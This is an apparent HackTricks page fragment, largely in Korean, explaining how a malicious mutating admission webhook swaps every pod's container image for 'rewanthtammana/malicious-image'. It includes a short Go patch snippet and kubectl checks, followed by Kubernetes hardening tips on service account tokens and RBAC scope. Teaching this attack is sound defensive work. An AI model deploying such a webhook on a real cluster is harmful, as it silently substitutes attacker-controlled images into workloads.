kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

์œ„ ์ด๋ฏธ์ง€์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด, ์šฐ๋ฆฌ๋Š” ์ด๋ฏธ์ง€ nginx๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ–ˆ์ง€๋งŒ ์ตœ์ข… ์‹คํ–‰๋œ ์ด๋ฏธ์ง€๋Š” rewanthtammana/malicious-image์ž…๋‹ˆ๋‹ค. ๋„๋Œ€์ฒด ๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚œ ๊ฑธ๊นŒ์š”!?

Technicalities

./deploy.sh ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ณ€ํ˜• ์›นํ›… ์Šน์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์„ค์ •ํ•˜๋ฉฐ, ์ด๋Š” ๊ตฌ์„ฑ ๋ผ์ธ์— ์ง€์ •๋œ ๋Œ€๋กœ Kubernetes API์— ๋Œ€ํ•œ ์š”์ฒญ์„ ์ˆ˜์ •ํ•˜์—ฌ ๊ด€์ฐฐ๋œ ๊ฒฐ๊ณผ์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Best Practices

Service Account ํ† ํฐ์˜ ์ž๋™ ๋งˆ์šดํŠธ ๋น„ํ™œ์„ฑํ™”

  • Pods ๋ฐ Service Accounts: ๊ธฐ๋ณธ์ ์œผ๋กœ, pods๋Š” ์„œ๋น„์Šค ๊ณ„์ • ํ† ํฐ์„ ๋งˆ์šดํŠธํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•ด Kubernetes๋Š” ์ด ์ž๋™ ๋งˆ์šดํŠธ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • ์ ์šฉ ๋ฐฉ๋ฒ•: Kubernetes ๋ฒ„์ „ 1.6๋ถ€ํ„ฐ ์„œ๋น„์Šค ๊ณ„์ • ๋˜๋Š” pods์˜ ๊ตฌ์„ฑ์—์„œ automountServiceAccountToken: false๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

RoleBindings/ClusterRoleBindings์—์„œ ์ œํ•œ์ ์ธ ์‚ฌ์šฉ์ž ํ• ๋‹น

  • ์„ ํƒ์  ํฌํ•จ: RoleBindings ๋˜๋Š” ClusterRoleBindings์— ํ•„์š”ํ•œ ์‚ฌ์šฉ์ž๋งŒ ํฌํ•จ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ •๊ธฐ์ ์œผ๋กœ ๊ฐ์‚ฌํ•˜๊ณ  ๊ด€๋ จ ์—†๋Š” ์‚ฌ์šฉ์ž๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ๋ณด์•ˆ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

ํด๋Ÿฌ์Šคํ„ฐ ์ „์ฒด ์—ญํ• ๋ณด๋‹ค ๋„ค์ž„์ŠคํŽ˜์ด์Šค ํŠน์ • ์—ญํ•  ์‚ฌ์šฉ

  • Roles vs. ClusterRoles: ํด๋Ÿฌ์Šคํ„ฐ ์ „์ฒด์— ์ ์šฉ๋˜๋Š” ClusterRoles ๋ฐ ClusterRoleBindings๋ณด๋‹ค ๋„ค์ž„์ŠคํŽ˜์ด์Šค ํŠน์ • ๊ถŒํ•œ์— ๋Œ€ํ•ด Roles ๋ฐ RoleBindings๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ๋” ์„ธ๋ฐ€ํ•œ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•˜๊ณ  ๊ถŒํ•œ์˜ ๋ฒ”์œ„๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

์ž๋™ํ™” ๋„๊ตฌ ์‚ฌ์šฉ

References

Support HackTricks

Last updated